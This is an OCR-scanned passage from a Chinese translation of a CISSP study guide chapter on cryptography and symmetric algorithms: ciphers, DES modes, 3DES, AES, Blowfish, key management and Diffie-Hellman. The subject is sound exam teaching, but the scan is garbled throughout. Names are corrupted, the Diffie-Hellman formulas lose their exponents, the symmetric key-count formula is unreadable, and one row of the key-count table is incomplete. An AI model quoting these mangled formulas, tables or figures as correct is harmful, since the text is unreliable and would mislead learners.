使用 Moby D以 中某一章节从第三段开始的文本作为密钥。 双方只是使用足够多的连续字符以便执
行加密和解密操作 。
让我们来看一个例子。 假设希望使用刚才描述的密钥加密消息 " Richard will deliver the secret
package to Ma他ew 况 也巳 bus station tomorrow飞 这条消息的长度为 66 个字符， 因此需要使用滚动
密钥的前 66 个字符: " Wi由 much interest 1 sat watching hirn. Savage 也ough he was， and hideously
marred"。 随后， 任何算法都可以使用这个密钥来加密明文消息。 以模 26 加法为例， 这种算法会将
每个宇母都转换为相应的十进制数， 然后将明文与密钥相加 ， 最后执行模 26 运算得到密文。 如果指
定字母 A 对应值 0、 字母 Z 对应值 25， 那么对消息的前两个词汇进行加密后得到的密文如下所示:
明 文 R I C H A R D W L L
密钥 W I T H " U C H N T
数字明文 17 8 2 7 。 17 3 22 11 11
数字密钥 22 8 19 7 12 20 2 7 13 19
数字密文 13 16 21 14 12 11 5 3 24 4
密文 N Q V 。 问 L F D Y E
当接收方接收到密文时， 他们会使用相同的密钥 ， 从密文中减去密钥 ， 执行模 26 运算， 最后将
得到的 明文结果转换回 字母表字符 。
第 6 章 密码学与对称加密算法
6. 分组密码
分组密码按消息的 " 组块 " 或分组进行操作， 并且对整个消息分组同时应用加密算法。 换位密
码就是分组密码的一个例子。 在挑战/响应算法中使用 的简单算法， 是取出完整的词汇井且逆向排列
字母。 更加复杂的柱状换位密码对整条消息(或一段消息)进行操作， 并且使用换位算法和保密密钥
对消息进行加密。 大 多数现代加密算法都实现了 某些类型的 分组密码 。
7. 流密码
流密码对消息、(或数据流)中 的每个字符或每一位进行操作， 每次只处理一个字符/一位。 凯撒密
码就是流密码的一个例子。 一次性填充也是一种流密码， 这是因为该算法对明文信息中的每个宇符
独立进行操作。 流密码也可以作为一种分组密码使用 。 在此类情况下， 某个缓冲区被填满实时数据，
随后这些数据作为分组进行加密 井传送给接收方。
8. 混淆与扩散
密码学算法依靠两种基本的操作来隐藏明文信息: 、混淆与扩散。 混淆出现在明文和密钥的关系
十分复杂时， 此时攻击者不能通过继续修改明文和分析产生的密文来确定密钥。 扩散出现在明文的
改变导致多种变化时， 这些变化被扩散到整个密文中。
思考一下， 例如一个算法， 首先执行一种复杂的替换， 然后使用换位去重新排列替换后的字符。
在这个例子中， 替换引入了混淆， 换位寻|入了扩散 。
6.3 现代密码学
为了实现密码学的机密性、 完整性、 身份认证和不可否认性 目标， 现代密码系统利用计算复杂
的算法和长密钥 。 接下来的 内容将介绍密码学在数据安全领域中 的作用 ， 并且研究 目 前常用 的三种
算法类型 : 对称加密算法、 非对称加密算法和散列算法。
6.3.1 密钥
在密码学的早期 ， 其中一条主导原则就是 " 通过隐匿实现安全"。 密码学家们认为保护加密算法
安全的最好办法就是对外人隐藏算法的细节。 旧 的密码系统要求通信双方保持对信息加密和解密所
使用算法的安全性， 井且不对第三方泄露。 算法的任何泄露都可能导致对于对整个系统的破坏。
现代密码系统并不依赖于其算法的安全性。 事实上， 大多数密码系统的算法在附带的文献和互
联网上都能够找到， 并且可以公开查阅 。 通过向公众开放审查 ， 实际上也改善了算法的安全性。 计
算机安全机构对于算法的广泛分析， 允许从业人员发现并纠正潜在的安全脆弱性， 并且确保他们用
于保护通信的 算法尽可能安全。
现代密码系统不依赖于保密的算法， 而是依赖于具体的用户或用户组专用 的一个或多个密钥。
在对换位密码的讨论中 曾经提到过， 柱状换位中使用 的密钥被用于指导加密和解密操作 。 用 于实现
柱状换位的算法非常有名 ， 在本书中刚刚进行了详细介绍。 然而， 只 要选择了外人猜不出 的密钥，
柱状换位就可以被用于双方的安全通信 。 只要密钥的安全性得到维护， 那么就不必担心第三方会知
1 43
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CISSP 官方学习指南(第 7 版)
道算法的细节。
注意 :
不过需要注意的是， 柱状换位存在几个固有的弱点， 这使得它容易受到 密码分析人员 的攻击，
因 此对 于现代安全通信来说是一种 不恰 当 的应用技术 。
在本章前面对一次性填充的讨 论中 ， 你知道了一次性填充算法的强度来 自 于使用极长的密钥这
个事实。 实际上， 对于这个算法来说， 密钥至少要与消息本身的长度相等。 大多数现代密码系统并
不使用 那么长的密钥， 但是在确定密码系统的强度和加密无法通过密码分析技术破解的可能性中，
密钥的长度仍是一个极为重要 的因素。
计算能力的快速增长， 使得能够在密码学工作中使用 日 益变长的密钥。 然而， 密码分析人员试
图破解你所使用的算法时， 也能够使用相同 的计算能力 。 因此， 使用足够长的、 超出对手破解能力
的密钥， 对于击败同时期密码分析人员 的工作是非常重要的。 此外 ， 如果希望数据直到将来的某个
时候仍然无法被密码分析人员破解 ， 那么在数据保持安全的整个时间段里 ， 必须努力使用超出分析
能力增长速度的密钥 。
几十年前， 在数据加密标准(DES)建立时 ， 56 位的密钥被认为足以维持任何数据的安全性。 然
而 ， 由于在密码分析技术和超级计算能力方面的进步， 现在人们已经广泛认识到 56 位的 DES 算法
己不再安全。 现代密码学系统使用至少 128 位的密钥对数据进行保护 。 记住， 密钥的长度直接和加
密系统的功能性相关， 密钥 长度越长 ， 就越难破解加密系统。
6.3.2 对称密钥算法
对称密钥算法依赖于一个 " 共享的秘密 " 加密密钥， 该密钥会被分发给所有参与通信的成员 。
所有通信成员都使用这个密钥进行消息的加密和解密， 因此发送者和接收者都拥有共享密钥的副本。
通信两端会使用相同的密钥加密和解密消息。 当使用很长的密钥时 ， 对称加密难以被破解。 对称密
钥算法主要被用于执行批量加密， 并且只为安全服务提供机密性。 对称密钥密码学也被称为秘密密
钥密码学和私有密钥密码学。 图 6.3 说明 了 对称密钥的加密和解密过程。
发送者 接收者
图 6.3 对称密钥密码学
注意 :
术语 "私有密钥" 的使用 比较复杂， 其原 因在于它是具有两种不同含义的三个不同术语中的一
部分。 术语 "私钥" 拍的始终是公钥 密码学(也就是非对称密钥密码学)密钥对中 的私钥 。 不过， 私
有密钥密码学和共享私钥指的都是对称密码术。 词汇 "私有" 的含义非如毛仲为 两个人共享要保守 的
第6章 密码学与对称加密算法
秘密 ， 而 不是原有的真实含义: 只有一个人知道要保守的秘密。 在学 习 过程中 ， 一定不要混淆这些
术语。
对称密钥密码学具有下列几个弱点 :
密钥分发是一个主要问题。 在使用对称密钥协议建立通信之前， 通信参与者必须具备一种安全
交换密钥的方法。 如果没有可用 的安全电子通道， 那么往往必须使用离线的密钥分发方法(已不属于
交换)。
对付、密钥密码学井未实现不可否认性。 由于任意通信方都可以利用共享的密钥对消息进行加密
和解密， 因 此无法分辨指定消息的来源。
这种算法不可扩展。 对于大的用户组来说， 使用对称密钥密码进行通信非常困难。 只有在每个
可能的用 户组合共享私有密钥时 ， 组中 个人之间的安全专有通信才能实现。
密钥必须经常更新。 每当有成员离开用户组时， 所有涉及这个成员 的密钥都必须被抛弃。
对称密钥密码学的主要强度在于能够以极快的速度进行操作 。 对称密钥算法的速度很快， 通常
是非对称密钥算法的 1 000 倍到 1 0 000 倍之间 。 鉴于其数学特性， 对称密钥密码学还可以在硬件上
实现， 这为更高速度的运行创造了机会。
本章稍后的 " 对称密码 " 部分将详细介绍 目 前使用 的 一些主要密钥算法。
6.3.3 非对称密钥算法
非对称密钥算法也被称为公钥算法， 它为对称密钥加密 的弱点提供了解决方案。 在这个系统中 ，
每个用户都有两个密钥 : 一个在所有用户 之间共享的公钥， 以及另一个只有用 户 自 己知道并保管的
私钥。 但是让人意想不到的是: 相对立的和相关的密钥必须被先后应用于加密和解密。 换句话说，
如 果使用 公钥加密消息 ， 那么只有相关的私钥能够进行解密 ， 反之亦然。
图 6.4 说明 了 公钥密码系统中加密和解密消息、所使用 的算法。 考虑一下这个例子: 如果 Alice
希望使用公钥密码学 向 Bob 发送消息 ， 她首先生成这条消息， 随后使用 Bob 的公钥对消息进行加密。
对这个密文进行解密的唯一可能办法是使用 Bob 的私钥， 并且唯一有权使用这个密钥的用户 就是
Bob。 因此， Alice 在加密消息后， 甚至不能对这条消息进行解密。 如果 Bob 希望向 Alice 发出回应
消息， 他会使用 Ali臼 的公钥对回应消息进行加密， Alice 随后可以使用她 自 己的私钥对消息进行解
密 ， 从而读取这些消 息 。
发送者 接收看
�
图 6.4 非对称密钥密码学
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CISSP 官方学习指南(第 7 版)
@ 真实场景
密钥需求
最近， 本书的一位作者在才是课时， 一位学生希望了 解与对称力口密算法相关联的可扩展性问题示
例 。 对称密码系 统要求每对潜在的通信者都具有一个共享的私有密钥， 这一事实使得对称加密算法
不可扩展。使用 对称密码学的 n 个通信方之间 实现完全连接所需 的密钥总数可以用 下面 的公式表示:
‘ (n 一 1) 密钥的数量=一-z一
在现实情况下， 这个数字似乎还可以接受(对于小 系统来说.)， 但是请仔细查看表 6. 1 。 显而 易见，
参与 者越多 ， 对称密码 系 统就越难满足相应 的 密钥数量需求 。
1 46
表 6.1 密钥数量与参与者数量的关 系
参与者数量 需要的对称密钥数量 需要的非对称密钥数量
2 4
3 3 6
4 6 8
5 10 10
10 45 20
1 00 4950 200
1 000 499 500 2000
10 000 49 995 000 20 000
非对称密钥算法还提供对数字签名技术的支持。 本质上， 如果 Bob 希望使其他用户 确信带有其
签名 的消息是由 Bob 本人发送的 ， 那么首先要使用散列算法(在下一节中你将看到更多散列算法)创
建一个消息摘要。 Bob 随后使用其私钥对消息摘要进行加密。 所有希望验证这个签名 的用户 只 需要
利用 Bob 的公钥对消息摘要进行解密， 然后验证解密的消息摘要是正确的。 这个过程将在第 7 章中
进行详细阐述。
下 面列出了非对称密钥密码学的主要优点:
增加新用户只需要生成一对公钥-私钥对。 这个新用户 与非对称密码系统中的所有用户 通信时都
使用这对相 同的密钥 ， 从而使得算法非常容易扩展。
从非对称系统中更容易删除用户。 非对称算法提供了 一种密钥撤消机制， 这个机制准许密钥被
取消 ， 从而能够有效地从非对称系统中删除用户。
只有在用户的私钥被破坏时， 才需要进行密钥重建 。 如果某位用户 离开了公司 ， 那么系统管理
员 只需要简单地将该用户 的密钥作废即可。 其他密钥都不会被破坏， 因此其他用户 都不需要进行密
钥重建。
非对称密钥加密提供了完整性 、 身份认证和不可否认性。 如果某位用户 没有与其他个体共享其
私钥， 那么具有该用 户签名 的消息就是正确无误的， 并且具有特定的来源， 在 以后 的任何时刻都不
能被否认。
第6章 密码学与对称加密算法
密钥分发是一个简单的过程。 希望加入非对称密码系统的用户 ， 只 需要使他们的公钥对于所有
与他们进行通信的人来说可用就可 以了。 目 前 尚无办法从公钥导 出私钥 。
不需要预先存在通信链接。 两个个体可以从通信一开始就进行安全的通信 。 非对称密码学并不
要求预先存在能够提供安全数据交换机制的关系 。
公钥密码学的主要弱点是运算速度'医。 因此， 很多需要安全传输大量数据的应用程序会使用公
钥密码学建立连接， 然后交换对称密钥。 会话任务的剩余部分随后来用对称密码学开始运作。 表 6.2
比较了对称和非对称密码学系统。 仔细查看这个表可以发现， 一种系统中 的弱 点恰好与另一种系统
中 的优点互补 。
表 6.2 对称和非对称密码学系统的比较
对称密码学系统 非对称密码学系统
单个共享的密钥 密钥对
带外交换 带内交换
不可扩展 可扩展
快速 慢速
批量加密 小块数据分组、 数字签名 、 数字封装 、 数字证书
机密性 完整性、 机密性、 身份认证、 不可否认性
注意 :
第 7 章提供了 现代公钥加密算法的技术细节及一些应用 。
6.3.4 散列算法
在上一节中 ， 你学习 了 公钥密码系统在与消息摘要一起使用时可以提供数字签名 的能力。 消息
摘要概述了经过散列算法处理的消息内容(与文件的校验和不同)。 如果可能的话， 从理想的散列函
数中派生出消息是非常困难的 ， 并且两条消息生成相 同散列值的可能性几乎是不存在的 。
下面列出了 目 前常用 的一些散列算法:
• 消息摘要 2(MD2)
• 消 息摘 要 5(MD5)
• 安全散列算法(SHA-O 、 SHA- l 和 SHA-2)
• 基于散列的消息身份认证代码(Hashed Message Authentication Code， HMAC)
第7章 " PKI 和密码学应用 " 提供了 这些当代的散列算法的细节， 并且解释了如何使用它们提
供数字签名 能力 ， 此能力可以帮助我们实现密码学的完整性和不可否认性 目 标。
6.4 对称密码
你 己经学习 了 对称密钥密码、 非对称密钥密码以及散列函数内在的基本概念。 在下面的 内 容中 ，
我们将深入讨论下列几种常见的对称密码系统: 数据加密标准ρES)、 三重数据加密算法(3DES)、
1 47
CISSP 官方学习指南(第 7 版)
国 际数据加密算法(IDEA)、 Blowfish 、 Skipjack 以及高级加密标准(AES)。
6.4. 1 数据加密标准
美国政府在 1 977 年公布了数据加密标准(DES)， 并且将之作为向所有政府通信而提议的标准密
码系统。 由于该算法中 的缺陷， 密码学界和政府不再认为 DES 是安全的。 大家普遍相信情报机构已
经能轻易破解 DES 加密的信息。 DES 在 2001 年 12 月 被高级加密标准取代。 了解 DES 仍然是重要
的 ， 因 为它是构成三重 DES(3DES)的基础， 该加密算法将在下一节进行阐述。
DES 是一个 64 位的分组密码， 具有 5 种操作模式: 电子代码本(Electronic CodeBook， ECB)模
式、 密码分组链接(Cipher Block Chaini吨， CBC)模式、 密码回馈(Cipher FeedBack， CFB)模式以及输
出 回馈(Output FeedBack， OFB)模式和计数(CounTeR， CTR)模式。 这些模式将在接下来的内容中进
行阐述。 所有 DES 模式每次处理 64 位的明文， 并且生成一个 64 位的密文分组。 DES 使用 的密钥
长度为 56 位 。
DES 利用长序列的异或(XOR)操作生成密文。 每个加密/解密操作都要重复 1 6 次这个过程， 每
次重复通常被称为 " 一轮 " 加密， 因 此 DES 要执行 1 6 轮加密。
注意 :
1 48
正如所提到的那样， DES 使用 一个 56 位的 密钥来进行为口密和解密操作。 然而， 某些文献可能
会说 DES 使用 一个 64 位的密钥。 这并不矛盾 ， 其中具有完美的逻辑解释。 DES 规范确 实有使用
64 位密钥的说法。 然 而在这 64 位中 ， 实际上只有 56 位 包含密钥信息， 其余 8 位包含奇偶信息， 从
而确保 56 位密钥是正确的。 然而， 这些奇偶住事实上很少使用 ， 只 需要牢牢记住这 56 位数字。
1 . 电子代码本模式
电子代码本但CB)模式是最容易 了解的模式， 但安全性最差。 这个算法每次处理一个 64 位分组，
它简单地使用所选择的密钥对这个分组进行加密。 这意味着如果算法多次遇到相同的分组， 那么将
产生完全相同的加密分组。 如果敌人正在对通信进行偷听， 那么就可以简单地建立起所有可能加密
值的 " 代码本飞 在收集到足够多的分组后， 就可 以使用密码分析技术对一些分组进行解密并破解加
密方式。
除了最短传输之外， 这个脆弱性使得通过 ECB 模式进行传输并不现实。 在日常使用 中 ， ECB
只 被用 于交换少量数据 ， 例如， 启 动其他 DES 模式的密钥和参数以 及数据库 中 的单元。
2. 密码分组链接模式
在密码分组链接(CBC)模式中 ， 未加密文本的每个分组在使用 DES 算法加密之前 ， 都与前一密
文分组进行异或操作。 解密过程简单地将密文解密 ， 并且反向执行异或操作。 CBC 创建了一个 IV，
并且将这个 IV 与消息的第一个分组相异或， 从而每次操作都生成独特的输出 。 IV 必须被发送给接
收方， 我们既可以将 W 以 明文形式置于完整的密文之前， 也可以使用与消息所用 的相同的密钥通
过 ECB 加密模式保护它 。 在使用 CBC 模式时， 需要考虑的一个重要问题是错误传播， 也就是如果
一个分组在传输中 被破坏 ， 那 么这个分组将无法解密 ， 并且下一个分组也是如此。
第6章 密码学与对称加密算法
3. 密码回馈模式
密码回馈(CFB)模式是流密码形式的 CBC。 换句话说， CFB 针对实时生成的数据进行操作。 不
过， CFB 并不将消息分为若干分组， 而是使用相 同分组大小的内存缓冲区 。 在缓冲区被填满时， 对
数据进行加密并发送给接收方。 接着， 系统等待下一个缓冲区被新生成的数据填满， 然后继续进行
加密和传输。 除了将先前存在的数据变化为实时数据 ， CFB 的操作方式与 CBC一样， 也使用 了 W
和链接。
4. 输出回馈模式
在输出 回馈(OFB)模式中 ， DES 的操作样式几乎与在 CFB 模式中 的操作样式完全相同 。 不过，
DES 并不将明文分组与前一个密文分组的加密版本相异或， 而是将明文与某个种子值相异或。 对于
第一个被加密的分组来说， 初始向量被用于创建种子值。 通过对先前的种子值运行 DES 算法， 就可
以派生出之后的种子值。 OFB 模式的主要优点是不存在链接功能， 并且传输错误不会通过传播影响
之后分组的解密 。
5 计数模式
在计数(CTR)模式中运行的 DES 使用的流密码， 类似于在 CFB 和 OFB 模式中使用的流密码。
不过， 这种模式并不根据前一个种子值的结果为每个加密/解密操作创建种子值， 而是使用一个简单
的 、 每次操作后都增加的计数。 与 OFB 模式一样， CTR 模式中 也不传播错误。
提示 :
CTR模式九许将一个加密或解密操作分解为 多 个独立的步骤 ， 这使得该模式特别适用 于并行
计算。
6.4.2 三重数据加密算法(3D ES)
正如前面几节中提到 的那样， 面对现代密码分析技术和超级计算能力， 数据加密标准的 56 位密
钥被认为己不再适用 。 然而， DES 的修改版本三重数据加密算法(3DES)能够使用相同的算法实现更
安全的加密。
3DES 具有 4 种版本。 第 1 种版本只 是使用三个不同 的密钥(K1 、 K2 和 K3)对明文加密三次。 它
被称为 DES-EEE3 模式(三个 E 表示存在三个加密操作 ， 而数字 3 表示使用三个不同的密钥)， 这种
模式可 以利用下面的符号来表示 ， 其 中 E(K， P)表示使用密钥 K 加密明文 P :
E(K1，E( K2
， E ( K3 ， P)))
DES-EEE3 具有的密钥 的有效长度为 1 68 位 。
第 2 种 3DES 版本 DES-EDE3 也使用三个密钥， 但是将第二个加密操作替换为解密操作， 如下
所示:
主(K1，D(K2，E ( K3 ， P)))
第3种 3DES 版本 DES-EEE2 只 使用两个密钥 Kl 和 K2
' 如下所示:
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CISSP 官方学习指南(第 7 版)
E ( K 1 ' E ( K2 ， E ( K l' P) ) )
第4种 3DES 版本 DES-EDE2 也使用两个密钥， 但是在中间使用 一个解密操作 ， 如下所示:
E ( K1 'D(K2
， E ( K1 ' P )) )
第3种和第 4 种 3DES 版本具有的密钥的有效长度都为 1 1 2 位 。
注意 :
从技术上讲， 3DES 具有第 5 种形 式 DES-EDEl ， 这种形 式只使用 一个密钥。 不过， 这种形式
导致与 标准 DES 相同的算法(和强度)， 并且只 是为 了 向后兼容而提供。
由于若干密码研究人员提出 了 这样的理论: 一种形式比其他三种形式更安全， 因此这4种 3DES
己经经过了 多年发展。 然而 ， 目 前人们相信所有模式一样安全。
提示 :
请花费一些时间理解 3DES 的各种变化形式。 使用 纸笔进行运算， 确保理解每种变化形式如何
使用 两 个或三个密钥达到 强度史高的加密效果 。
注意 :
这个讨论 自 然会引 出 一个问题: 如果使用 双重 DES(Double DES， 2DES) ， 会有怎样的效果? 在
第 7 章 中你会看到 ， 人们尝试过 2DES， 但是在证明存在攻击使得 2DES 并不比标准 DES 安全时 ，
很快就放弃 了 这种算法。
6.4.3 国 际数据加密算法(IDEA)
国 际数据加密算法(IDEA)的分组密码是针对 DES 算法的密钥长度不够而开发的。 与 DEι斗芋，
IDEA 对 64 位的明文/密文分组进行操作。 然而， 国 际数据加密算法采用 1 28 位的密钥进行操作。 这
个密钥随后在一系列操作中被分解成 52 个 16 位的子密钥。 这些子密钥接着使用异或和模运算的组
合对输入的文本进行操作， 从而生成输入消息的加密/解密版本。 IDEA 能够在 DES 使用的 4 种模
式(ECB、 CBC、 CFB 和 OFB)中工作。
警告 :
所有与 密钥 长度、 分组大小和加密轮数有关的内 容可能看起来特别枯燥。 但是， 这些 内 容是非
常重妥的 ， 因 此一定要确信在参加考试之前复 习 这些内容。
IDEA 算法的专利权属于它们的瑞士开发人员 。 但是， 开发人员 向期望使用 IDEA 作为非商业
用途的人授予了无限制许可。 在 Phil Zimmerman 的流行的可靠隐私(Pretty Good Privacy， PGP)安全
电子邮件包中 ， 发现了 IDEA 的一种流行实现。 第 7 章将对 PGP 进行更详细的介绍 。
6.4.4 Blowfish
Bruce Schneier 的 Blowfish 分组密码是 DES 和 IDEA 的另一种选择。 与它的这些前辈们一样，
Blowfish 对 64 位文本分组进行操作。 然而， Blowfish 扩展了 IDEA 的密钥强度， 甚至准许使用变长
密钥， 范围从相对不安全的 32 位到相当难破解的 448 位 。 很显然， 较长的密钥将导致加密/解密时
第6章 密码学与对称加密算法
间 的相应增加。 不过， 计时试验已经表明， Blowfish 是比 IDEA 和 DES 更快的算法。 Schneier 先生
没有对 Blow丑sh 进行许可限制 ， 人们可以自由使用 该密码。 Blowfish 加密被内嵌到许多商业软件产
品 和操作系统中 ， 此外还存在许多可 以被软件开发人员使用 的 Blowfish 库 。
6 .4.5 Ski同ack
Sk:i时ack 算 法 由美国 政府在联邦信息 处 理标准σederal Information Processing Standard ，
FIPS)1 85 ， 即托管加密标准证书(Escrowed Encryption St扭曲时， EES)中批准使用 。 与许多分组密码
一样， Sk:ipjack 对 64 位的文本分组进行操作。 这种算法使用一个 80 位的密钥， 并且支持 DES 支持
的相同 4 种操作模式。 美 国政府很快接受了 Skipjack， 并且提供支持 Clipper 和 Capstone 高速加密芯
片 的密码学程序 ， 这些芯片是为重要商业应用而 设计的。
然而， Sk:ipjack 有一个额外的麻烦， 即支持加密密钥的托管。 美国国家标准和技术协会(NIST)
和财政部这两个政府机构都持有重建 Skipjack 密钥所需的一部分信息。 当法律执行机构获得合法授
权后， 他们将联系这两个机构获得密钥的部分信息， 并且可以对参与成员之间的通信进行解密。
Skipjack和Clipper芯片还没有被密码学团体普通接受， 这是因为它的托管程序由美国政府控制。
Rìvest 密码 5(Rivest Cipher 5， RC5)
Rivest 密码 5或RC5 是 RSA 数据安全公司 拥有专利的对称算法。 RC5 是一种分组大小可交的
(32 位 、 64 位或 1 28 位)分组密码 ， 使用 的 密钥 长度在 0 位到 2048 位之间 。
6.4.6 高级加密标准(AES)
2000 年 1 0 月 ， 美国国家标准和技术协会例1ST)宣布 阳�n也el(发音为 "r恤le-doll" )分组密码己
经被选中成为 DES 的 替代标准。 在同年的 12 月 ， 美国商务部长批准了 FIPS 1 97 ， 它要求使用
AESlRijndael 对所有敏感但未被美国 政府分类的数据进行加密 。
AES 密码准许使用三种密钥强度: 128 位、 192 位和 256 位。 AES 最初的规范支持 1 28 位分组
的处理， 但是 Rijndael 超出 了 这个规范， 它准许密码学家使用与密钥长度相等的分组大小。 如下所
示 ， 加密的轮数依赖于所边的密钥长度:
• 1 28 位密钥需要 1 0 轮加密。
• 1 92 位密钥需要 1 2 轮加密。
• 256 位密钥需要 14 轮加密。
Twofish 算法
由 Bru臼 Schn巳ier(也是Blowfish的创建者)开发的Twofish算法是AES的 另 一种选择。 与Rijndael一
样， Twofish也是一种分组密码。 这种算法处理 128 位的数据分组， 并且能够使用 长度最大为 256 位
的 密钥 。
Twofish 利 用 了 其他算法所没有 的两种技术:
• 预白噪声 化(prewhitening)涉及在第一轮加密前将明文与 一个单独的 子密钥进行异或 。
• 后白噪声 化(postwhit巳ning)在第 1 6 轮加 密后 进行相似的操作 。
AES 只是你需要熟悉的众多对称加密算法之一。 表 6.3 列 出 了 某些常见且著名 的对称加密算法
1 51
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CISSP 官方学 习指南(第 7 版)
及其分组大小和密钥大小 。
表 6.3 对称加密算法记忆表
算法名 分组大小 (单位为位) 密钥大小(单位为位)
数据加密标准(DES) 64 56
三重 DES(3DES) 64 1 1 2 或 1 68
高级加密标准(AES) 1 28 1 28 、 1 92 、 256
Rijndael 可变 128、 1 92、 256
Twofish 128 1 -256
Blowfish(通常在 SSH 中使用) 64 32-448
IDEA(在 PGP 中使用) 64 1 28
基于 RSA 的 Rivest 密码 5(RC5) 32、 64、 1 28 。-2040
基于 RSA 的 Rivest 密码 4(RC4) 流式 1 28
基予 RSA 的 Rivest 密码 2(RC2) 64 1 28
Skipjack 64 80
6.4.7 对称密钥管理
由于加密密钥中包含的信息对于密码系统而言是至关重要的， 因此密码系统的管理员和用户必
须采取特殊的措施以保护密钥材料的安全。 这些安全措施被统称为密钥管理实践。 它们包含密钥的
生成、 分发、 存储、 销毁、 恢复和托管 。
1 创建和分发对称密码
正如前面提到的 ， 对称加密算法内在的一个主要问题是操作算法所需密钥的安全分发。 在下面
的内容中， 将对下列 三个主要的用于安全交换密钥 的方法进行分析 : 离线分发、 公钥加密和
Di旺血E血1巳-H巳ell阳I口m曰nan 密钥交换算法。
离线分发 在技术方面最简单的方法涉及密钥材料的物理交换。 一方向另一方提供包含密钥的
一张纸或一份存储介质。 在很多硬件加密设备中 ， 密钥材料以 电子设备的形式存在， 这类似于插入
到加密设备中 的真实的钥匙。 然而， 这些方法都具有各自 固有的缺陷。 如果通过电子邮件发送密钥
材料， 那么密钥材料就可能被截获。 电话可能会被窃听 。 包含密钥的纸张则可能被无意丢进废纸篓
或丢失。
公钥加密 许多通信人员希望在没有密钥分发之争的情况下获得密钥加密的速度优势。 因此，
许多人使用公钥加密来建立初始的通信链接。 一旦链接成功建立， 并且双方对相互的身份都感到满
意， 那么他们就会在安全的公钥链接上交换密钥。 随后 ， 通信双方从基于公钥算法的通信进入基于
秘密密钥算法的通信， 并且能够享受快速的处理过程。 一般而言 ， 与公钥加密相比， 私有密钥加密
的速度快数千倍。
Diffie-Hellman 算法 某些情况下， 无论是公钥加密还是离线分发， 都是不充分的 。 双方可能需
要相互通信， 但是他们没有物理手段交换密钥材料， 并且没有适当 的公钥基础设施来促进秘密密钥
的交换。 在这样的情况下， 像 Diffie-Hellman 这样的密钥交换算法被证明 是极为有用 的机制 。
第6章 密码学与对称加密算法
提示 :
安全 RPC(S-RPC)利用 Di固守Hellman 算法进行密钥 交换 。
关于 Diffie自Hellman 算法
当 Di:ff -Hellman 算法与 1976 年发布时 ， 对于 当 时的 密码学科学是一次大的进步。 当 然， 它目前
仍 在使用 ， 该算法的 工作过程如下:
(1) 通信双方(我们 称他们 为 Rich缸d和Sue)约 定 两 个 大数p(一个质 数)和国一个整数)， 其 中
1 <g<p。
(2) Richard 选择一个随机的 大整数 r， 并且执行下 面 的计算: R= gr mod p
(3) Sue 选择一个随机的 大整数 S， 并且执行下 面 的计算: S = gS mod p
(4) Richard 将 R 发给 Sue， 并且 Sue 将 S 发给 Richardo
(5) Richard 随后执行下面 的计算: K= Sr mod p
(6) Sue 随后执行下 面 的计算: K= RS mod p
此时 ， 阳ch缸d 和 Sue 都得到相 同 的值 K， 并且可以在双方的通信中将之用 于私有密钥通信。
2. 存储和销毁对称密钥
在对称密钥加密中， 另一个主要的挑战是在密码系统中使用 的密钥必须进行安全保管。 以下给
出了存储加密密钥的 最佳实践:
• 永远不要将加密密钥存储在存放加密数据的 同一个系统中， 这将使攻击者更容易进行攻击 !
• 对于敏感的密钥， 可 以考虑两个不同 的人分别持有密钥的一半。 他们必须合在一起才能构
成完整的密钥 。 这是众所周知 的知识分割原则(己在本章前面提到)。
当知道密钥的用户 离开组织或不再被允许访问通过密钥包含的材料时， 密钥必须更改， 同时使
用 该密钥进行加密的所有材料必须用新的密钥进行重新加密。 销毁一个密钥并将一个用户).}3.才称密
码系统中移除是困难的， 这也是组织转而使用非对称算法的一个重要原因。 这部分内容将在第 7 章
中进行讲述。
3. 密钥托管
密码学是一种强大的工具。 与大多数工具一样， 密码学可以被用于实现许多有益的 目 的， 但是
也可能被恶意使用 。 为了应对密码学技术的爆炸性增长， 各国政府纷纷考虑实现密钥托管系统。 这
样的系统允许政府在有限的情况下(例如， 法院判决)从中央存储设备获得特定通信所使用 的密钥。
在过去 1 0 年中， 人们提议通过下列两种主要途径进行密钥托管 :
公平密码系统 在这种托管方法中 ， 通信中使用 的私有密钥被分为两个或多个部分， 这些部分
都被交给独立的第三方。 每个部分本身都是无用 的 ， 但是通过重新组合可以获得私有密钥。 政府获
得法律授权访问特定的密钥时， 需要向所有第三方提供法院的证据， 随后才能重新组装这个私有
密钥。
托管加密标准 这种托管方法向政府提供解密密文的技术手段。 这个标准是本章前面讨论的
Skipjack 算法的基础 。
政府管理者几乎不可能克服不可避免的法律和隐私障碍来广泛实现密钥托管。 虽然技术上没有
问题， 但是一般民众不可能接受政府对个人生活的潜在介入。
1 53
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CISSP 官方学 习指南(第 7 版)
6.4.8 密码生命周期
除 了一次一密， 所有的密码系统都有一个有限的生命周期。 摩尔定律经常被用来描述计算能力
的进步趋势， 它指出微处理器的性能将每两年翻一番。 这意味着， 最终处理器将达到简单猜测用于
通信加密密钥所需的 处理能力 。
安全专家在选择一个加密算法和相应的管理控制措施时必须考虑密码的生命周期以确保算法、
协议和选择的密钥长度足以保存密码系统的完整性， 以确保能够用于保护所需时间 内信息的完整性
和安全性。 安全专家可 以使用 以下算法和协议管理控制 :
• 确 定组织 内 可 以接受和使用 的加密算法(例如， AES、 3DES 和 RSA)。
• 基于传输信息 的敏感性确定每个算法可接受使用 的 密钥长度。
• 列出可以使用 的安全传输协议(如 SSL 和 TLS)。
举例来说， 如果设计的密码系统用来保护计划下周执行的商业计划， 就无须担心处理器可能从
目 前到今后 1 0 年内可以破解它们这种理论上的风险。 从另一方面看， 如果要保护那种可能用于建造
核弹的机密信息， 那就十分肯定仍需要在今后 1 0 年里一直维护这个机密。
6.5 本章小结
为 了开发出更加安全的密码系统和战胜这些系统的高级密码分析技术， 密码专家和密码分析专
家始终处于一场从未结束的竞赛之中。
密码学的历史可 以追溯到凯撒的年代， 并且己经被持续研究了 很多年。 在这一章中 ， 你学习 了
密码学领域的一些基本概念， 对密码学专业人员使用的术语有了基本的了解， 并且分析了密码学早
期使用 的 一些编码和密码。
本章还分析了对称密钥密码学(通信双方使用相同的密钥)和非对称密钥密码学(每个通信方都有
一对公钥和私钥)的相似和不同之处。
我们接下来分析了 当前可提供的对称算法和他们的强度及弱点。 我们通过了解密码的生命周期
和算法/协议治理在企业安全 中 的作用 结束 了 本章的讨论。
下一章将展开讨论当代的公钥密码算法， 此外还将对一些常见的用于击败这两种类型密码系统
的密码分析技术进行分析。
6.6 考试要点
理解机密性、 完整性和不可否认性在密码系统中扮演的角色。 机密性是密码学的一个主要 目 标，
它确保信息不对未授权的个人泄漏 ， 并且准许加密信息、 以在开放的网络中 自 由传输。 对称和非对称
密码系统都能够保证机密性。 完整性为消息的接收方提供了 消息在发送者建立和接收者接收到的时
